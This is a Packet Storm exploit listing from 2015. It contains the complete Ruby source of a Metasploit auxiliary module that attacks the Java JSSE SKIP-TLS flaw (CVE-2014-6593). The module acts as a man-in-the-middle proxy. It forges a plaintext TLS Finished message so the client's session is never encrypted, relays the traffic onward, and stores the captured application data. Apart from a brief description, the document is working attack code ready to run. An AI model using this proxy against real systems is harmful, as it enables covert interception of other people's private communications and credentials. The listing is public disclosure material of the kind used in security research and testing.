Java Secure Socket Extension (JSSE) SKIP-TLS MITM Proxy

2015-08-12T00:00:00
ID PACKETSTORM:133054
Type packetstorm
Reporter Ramon de C Valle
Modified 2015-08-12T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'openssl'  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Auxiliary::Report  
  
def initialize  
super(  
'Name' => 'Java Secure Socket Extension (JSSE) SKIP-TLS MITM Proxy',  
'Description' => %q{  
This module exploits an incomplete internal state distinction in Java Secure  
Socket Extension (JSSE) by impersonating the server and finishing the  
handshake before the peers have authenticated themselves and instantiated  
negotiated security parameters, resulting in a plaintext SSL/TLS session  
with the client. This plaintext SSL/TLS session is then proxied to the  
server using a second SSL/TLS session from the proxy to the server (or an  
alternate fake server) allowing the session to continue normally and  
plaintext application data transmitted between the peers to be saved. This  
module requires an active man-in-the-middle attack.  
},  
'Author' =>  
[  
'Ramon de C Valle'  
],  
'License' => MSF_LICENSE,  
'Actions' =>  
[  
[ 'Service' ]  
],  
'PassiveActions' =>  
[  
'Service'  
],  
'DefaultAction' => 'Service',  
'References' => [  
['CVE', '2014-6593'],  
['CWE', '372'],  
['URL', 'https://www.smacktls.com/#skip'],  
['URL', 'https://www.smacktls.com/smack.pdf'],  
['URL', 'http://www.oracle.com/technetwork/topics/security/cpujan2015-1972971.html'],  
['URL', 'https://www-304.ibm.com/support/docview.wss?uid=swg21695474']  
],  
'DisclosureDate' => 'Jan 20 2015'  
)  
  
register_options(  
[  
OptString.new('FAKEHOST', [ false, 'The fake server address', nil]),  
OptString.new('FAKEPORT', [ false, 'The fake server port', 443]),  
OptString.new('HOST', [ true, 'The server address', nil]),  
OptString.new('PORT', [ true, 'The server port', 443]),  
OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']),  
OptString.new('SRVPORT', [ true, 'The proxy port', 443])  
], self.class)  
end  
  
def cleanup  
super  
return unless @proxy  
  
begin  
@proxy.deref if @proxy.kind_of?(Rex::Service)  
if @proxy.kind_of?(Rex::Socket)  
@proxy.close  
@proxy.stop  
end  
@proxy = nil  
rescue ::Exception  
end  
end  
  
def prf(secret, label, seed)  
if secret.empty?  
s1 = s2 = ''  
else  
length = ((secret.length * 1.0) / 2).ceil  
s1 = secret[0..(length - 1)]  
s2 = secret[(length - 1)..(secret.length - 1)]  
end  
  
hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, label + seed)  
hmac_sha = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, label + seed)  
  
hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, hmac_md5 + label + seed)  
hmac_sha = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, hmac_sha + label + seed)  
  
result = ''  
[hmac_md5.length, hmac_sha.length].max.times { |i| result << [(hmac_md5.getbyte(i) || 0) ^ (hmac_sha.getbyte(i) || 0)].pack('C') }  
result  
end  
  
def prf_sha256(secret, label, seed)  
hmac_hash = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, label + seed)  
OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, hmac_hash + label + seed)  
end  
  
def run  
fake_host = datastore['FAKEHOST'] || datastore['HOST']  
fake_port = datastore['FAKEPORT'] || datastore['PORT']  
host = datastore['HOST']  
local_host = datastore['SRVHOST']  
local_port = datastore['SRVPORT']  
port = datastore['PORT']  
  
@proxy = Rex::Socket::TcpServer.create(  
'LocalHost' => local_host,  
'LocalPort' => local_port,  
'Context' => {  
'Msf' => framework,  
'MsfExploit' => self  
}  
)  
print_status('Listening on %s:%d' % [local_host, local_port])  
  
thread_num = 0  
  
loop do  
framework.threads.spawn("Thread #{thread_num += 1}", false, @proxy.accept) do |client|  
add_socket(client)  
finished_sent = false  
handshake_messages = ''  
application_data = ''  
  
print_status('Accepted connection from %s:%d' % [client.peerhost, client.peerport])  
  
fake_server = Rex::Socket::Tcp.create(  
'PeerHost' => fake_host,  
'PeerPort' => fake_port,  
'SSL' => true,  
'SSLVerifyMode' => 'NONE',  
'Context' =>  
{  
'Msf' => framework,  
'MsfExploit' => self  
})  
add_socket(fake_server)  
  
print_status('Connected to %s:%d' % [fake_host, fake_port])  
  
server = Rex::Socket::Tcp.create(  
'PeerHost' => host,  
'PeerPort' => port,  
'Context' =>  
{  
'Msf' => framework,  
'MsfExploit' => self  
})  
add_socket(server)  
  
print_status('Connected to %s:%d' % [host, port])  
  
version = nil  
begin  
loop do  
readable, _, _ = Rex::ThreadSafe.select([client, server])  
  
readable.each do |r|  
case r  
when fake_server  
# The fake_server (i.e., server) is an SSL socket; Read  
# application data directly.  
header = ''  
fragment = r.get_once(4096)  
else  
header = r.get_once(5)  
raise EOFError if header.nil?  
fragment_length = header[3, 2].unpack('n')[0]  
fragment = ''  
while fragment_length > 0  
partial_fragment = r.get_once(fragment_length)  
fragment << partial_fragment  
fragment_length = fragment_length - partial_fragment.length  
end  
end  
  
print_status('%d bytes received' % [header.length + fragment.length])  
  
# Drop the server hello done message and send the finished  
# message in plaintext.  
if fragment =~ /^\x0e\x00\x00\x00/  
if header[2, 1] == "\x03"  
verify_data = prf_sha256('', 'server finished', OpenSSL::Digest::SHA256.digest(handshake_messages))  
verify_data = verify_data[0, 12]  
else  
verify_data = prf('', 'server finished', OpenSSL::Digest::MD5.digest(handshake_messages) + OpenSSL::Digest::SHA1.digest(handshake_messages))  
verify_data = verify_data[0, 12]  
end  
  
finished = "\x14#{[verify_data.length].pack('N')[1, 3]}#{verify_data}"  
record = header[0, 3] + [finished.length].pack('n') + finished  
  
count = client.put(record)  
print_status('%d bytes sent' % [count])  
  
finished_sent = true  
  
# Change to the SSL socket connected to the same server or  
# to an alternate fake server.  
server.close  
server = fake_server  
  
# Save version used in the handshake  
version = header[2, 1]  
next  
else  
# Save handshake messages  
handshake_messages << fragment  
end unless finished_sent  
  
# Save application data  
application_data << fragment if finished_sent  
  
case r  
when client  
if finished_sent  
# The server (i.e., fake_server) is an SSL socket  
count = server.put(fragment)  
else  
# The server isn't an SSL socket  
count = server.put(header + fragment)  
end  
  
print_status('%d bytes sent' % [count])  
  
when fake_server  
# The client isn't an SSL socket; Add the record layer header  
# with the same version used in the handshake.  
header = "\x17\x03#{version}" + [fragment.length].pack('n')  
record = header + fragment  
count = client.put(record)  
print_status('%d bytes sent' % [count])  
  
when server  
record = header + fragment  
count = client.put(record)  
print_status('%d bytes sent' % [count])  
end  
end  
end  
  
rescue EOFError, Errno::ECONNRESET  
path = store_loot(  
'tls.application_data',  
'application/octet-stream',  
client.peerhost,  
application_data,  
'application_data',  
'TLS session application data'  
)  
  
print_good("SSL/TLS session application data successfully stored in #{path}")  
  
client.close  
fake_server.close  
server.close  
  
next  
end  
  
client.close  
fake_server.close  
server.close  
end  
end  
end  
  
end  
`